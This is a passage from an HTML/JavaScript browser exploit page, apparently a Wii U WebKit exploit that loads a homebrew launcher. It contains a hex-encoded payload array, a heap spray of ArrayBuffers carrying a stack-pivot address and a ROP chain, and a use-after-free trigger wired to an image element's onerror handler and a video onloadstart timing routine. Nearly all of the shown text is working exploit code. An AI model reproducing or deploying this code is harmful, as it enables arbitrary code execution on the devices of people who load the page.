0x454c4620, 0x66696c65, 0x20656d70, 0x74792e00, 0x4661696c, 0x65642074, 0x6f206c6f, 0x61642068, 0x6f6d6562, 0x7265775f, 0x6c61756e, 0x63686572, 0x2e656c66, 0x00000000, 0x6661696c, 0x65642074, 0x6f206c6f, 0x6164202e, 0x656c6600, 0x636f7265, 0x696e6974, 0x2e72706c, 0x00000000, 0x6d656d73, 0x65740000, 0x4d454d41, 0x6c6c6f63, 0x46726f6d, 0x44656661, 0x756c7448, 0x65617045, 0x78000000, 0x4d454d46, 0x72656554, 0x6f446566, 0x61756c74, 0x48656170, 0x00000000, 0x4f534372, 0x65617465, 0x54687265, 0x61640000, 0x4f535265, 0x73756d65, 0x54687265, 0x61640000, 0x4f534973, 0x54687265, 0x61645465, 0x726d696e, 0x61746564, 0x00000000, 0x4f534578, 0x69745468, 0x72656164, 0x00000000, 0x4f534a6f, 0x696e5468, 0x72656164, 0x00000000, 0x4f535969, 0x656c6454, 0x68726561, 0x64000000, 0x54687265, 0x6164206d, 0x656d6f72, 0x7920616c, 0x6c6f6361, 0x74696f6e, 0x20666169, 0x6c65642e, 0x20457869, 0x7420616e, 0x64207265, 0x2d656e74, 0x65722062, 0x726f7773, 0x65722e00, 0x4661696c, 0x65642074, 0x6f206372, 0x65617465, 0x20746872, 0x6561642e, 0x20457869, 0x7420616e, 0x64207265, 0x2d656e74, 0x65722062, 0x726f7773, 0x65722e00, 0x002e7368, 0x73747274, 0x6162002e, 0x74657874, 0x002e6461, 0x74610000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0000000b, 0x00000001, 0x00000006, 0x011dd000, 0x00000054, 0x000013b8, 0x00000000, 0x00000000, 0x00000004, 0x00000000, 0x00000011, 0x00000001, 0x00000002, 0x011de3b8, 0x0000140c, 0x00000394, 0x00000000, 0x00000000, 0x00000004, 0x00000000, 0x00000001, 0x00000003, 0x00000000, 0x00000000, 0x000017a0, 0x00000017, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x496e7661, 0x6c696420, 0x656c6620, 0x66696c65, 0x00636f72, 0x65696e69, 0x742e7270, 0x6c006d65, 0x6d736574, 0x005f4578, 0x6974004d, 0x454d416c, 0x6c6f6346, 0x726f6d44, 0x65666175, 0x6c744865, 0x61704578, 0x004d454d, 0x46726565, 0x546f4465, 0x6661756c, 0x74486561, 0x70006d65, 0x6d637079, 0x004f5345, 0x66666563, 0x74697665, 0x546f5068, 0x79736963, 0x616c0044, 0x43466c75, 0x73685261, 0x6e676500, 0x4943496e, 0x76616c69, 0x64617465, 0x52616e67, 0x65002e74, 0x65787400, 0x2e726f64, 0x61746100, 0x2e646174, 0x61002e62, 0x73730073, 0x79736170, 0x702e7270, 0x6c005f53, 0x59534c61, 0x756e6368, 0x4d696953, 0x74756469, 0x6f004f53, 0x536c6565, 0x70546963, 0x6b73004f, 0x53437265, 0x61746554, 0x68726561, 0x64004f53, 0x52657375, 0x6d655468, 0x72656164, 0x004f5349, 0x73546872, 0x65616454, 0x65726d69, 0x6e617465, 0x64004f53, 0x45786974, 0x54687265, 0x61640054, 0x68726561, 0x64206d65, 0x6d6f7279, 0x20616c6c, 0x6f636174, 0x696f6e20, 0x6661696c, 0x65642e20, 0x45786974, 0x20616e64, 0x2072652d, 0x656e7465, 0x72206272, 0x6f777365, 0x722e0046, 0x61696c65, 0x6420746f, 0x20637265, 0x61746520, 0x74687265, 0x61642e20, 0x45786974, 0x20616e64, 0x2072652d, 0x656e7465, 0x72206272, 0x6f777365, 0x722e0000, 0x00000010, 0x00000000, 0x017a5200, 0x047c4101, 0x1b0c0100, 0x0000001c, 0x00000018, 0xffffd0c8, 0x00000058, 0x00410e20, 0x4611417f, 0x9f014b0a, 0xdf06410b, 0x00000028, 0x00000038, 0xffffd100, 0x00000154, 0x00410e38, 0x44094100, 0x9d039e02, 0x9f014311, 0x417f024d, 0xdfdedd06, 0x41000000, 0x00000010, 0x00000064, 0xffffd228, 0x00000038, 0x00000000, 0x00000010, 0x00000078, 0xffffd24c, 0x00000024, 0x00000000, 0x00000028, 0x0000008c, 0xffffd25c, 0x000000a0, 0x00410e18, 0x4311417f, 0x9c049d03, 0x9e029f01, 0x5c0adfde, 0xdddc0641, 0x0b000000, 0x00000020, 0x000000b8, 0xffffd2d0, 0x00000054, 0x00410e10, 0x42094100, 0x9f014211, 0x417f50df, 0x06410000, 0x00000024, 0x000000dc, 0xffffd300, 0x00000050, 0x00410e10, 0x42094100, 0x9e029f01, 0x4211417f, 0x4fdfde06, 0x41000000, 0x00000040, 0x00000104, 0xffffd328, 0x000006b8, 0x00410eb0, 0x02481141, 0x7f950b96, 0x0a970998, 0x0899079a, 0x069b059c, 0x049d039e, 0x029f0103, 0x01a10adf, 0xdedddcdb, 0xdad9d8d7, 0xd6d50641, 0x0b000000, 0x00000020, 0x00000148, 0xffffd99c, 0x000000a8, 0x00410e20, 0x4311417f, 0x9d039e02, 0x9f0166df, 0xdedd0641, 0x00000028, 0x0000016c, 0xffffda20, 0x0000004c, 0x00410e20, 0x4311417f, 0x9b059c04, 0x9d039e02, 0x9f01490a, 0xdfdedddc, 0xdb06410b, 0x00000020, 0x00000198, 0xffffda40, 0x0000006c, 0x00410e18, 0x4311417f, 0x9e029f01, 0x57dfde06, 0x41000000, 0x00000010, 0x00000000, 0x017a5200, 0x047c4101, 0x1b0c0100, 0x0000002c, 0x00000018, 0xffffda74, 0x00000114, 0x00410e20, 0x42094100, 0x9b059c04, 0x9d039e02, 0x9f014211, 0x417f0240, 0xdfdedddc, 0xdb064100, 0x00000020, 0x00000048, 0xffffdb58, 0x00000444, 0x00410e80, 0x01471141, 0x7f9e029f, 0x01030109, 0xdfde0641, 0x00000024, 0x0000006c, 0xffffdf78, 0x000001fc, 0x00410e48, 0x4711417f, 0x9d039e02, 0x9f010277, 0xdfdedd06, 0x41000000, 0x0000003c, 0x00000000, 0x017a5200, 0x047c4101, 0x1b0c0100, 0x0d0b1141, 0x7f8e128f, 0x11901091, 0x0f920e93, 0x0d940c95, 0x0b960a97, 0x09980899, 0x079a069b, 0x059c049d, 0x039e029f, 0x01000000, 0x00000038, 0x00000044, 0xffffe14c, 0x00000058, 0x0041ce41, 0xcf41d041, 0xd141d241, 0xd341d441, 0xd541d641, 0xd741d841, 0xd941da41, 0xdb41dc41, 0xdd41de42, 0xdf410641, 0x410d0100, ];
|
|
//Spray large ArrayBuffer with pivotAdress, increase the spray for a bigger ROP exeuction chance (affects the position of the payload)
|
|
var ar = new Array(0x1800*2);
|
|
for(var i=0; i<0x1800*2; i++){
|
|
ar[i] = new DataView(new ArrayBuffer(_4K));
|
|
for(var j=0; j<_4K; j+=8){
|
|
ar[i].setFloat64(j, 0x10000000+j); //filler
|
|
}
|
|
|
|
ar[i].setUint32(0x204, 0x0);
|
|
ar[i].setUint32(0x018, pivotAdressAdress);
|
|
ar[i].setUint32(0x000, pivotAdressAdress+0x20);
|
|
ar[i].setUint32(0x2BC, pivotAdress); //lwz r0, 0x4(r11) ; mtlr r0 ; mr r1, r11 ; li r3, -0x1 ; blr ;
|
|
//r11, new stack location
|
|
ar[i].setUint32(0x208, pivotAdressAdress+0x300);
|
|
|
|
//initialize this Rop Chain
|
|
var ropCurrentOffset = 0x304;
|
|
|
|
//start of the Rop Chain
|
|
realROPChain.forEach(function(element) {
|
|
ar[i].setUint32(ropCurrentOffset, element);
|
|
ropCurrentOffset += 4;
|
|
});
|
|
}
|
|
var payloadBuffer = new DataView(new ArrayBuffer(_16K));
|
|
payloadBuffer.setUint32(0, 3735924734); // Place search for value
|
|
var curOffset = 4;
|
|
for(var curI = 0; curI< payload.length;curI++){
|
|
payloadBuffer.setUint32(curOffset,payload[curI]);
|
|
curOffset += 4;
|
|
}
|
|
|
|
//Use the new WebCore::ImageLoader & pivot !
|
|
return 0;
|
|
}
|
|
function sleep(ms) {
|
|
var unixtime_ms = new Date().getTime();
|
|
while(new Date().getTime() < unixtime_ms + ms) {}
|
|
x.type='image';
|
|
}
|
|
</script>
|
|
|
|
</head>
|
|
<body>
|
|
<input id="x" type="hidden" onerror="UaF(this);" src=""/>
|
|
<video onloadstart="sleep(500)">
|
|
<source src="indexiine.mp4" type="video/mp4">
|
|
</video>
|
|
|
|
</body>
|
|
</html> |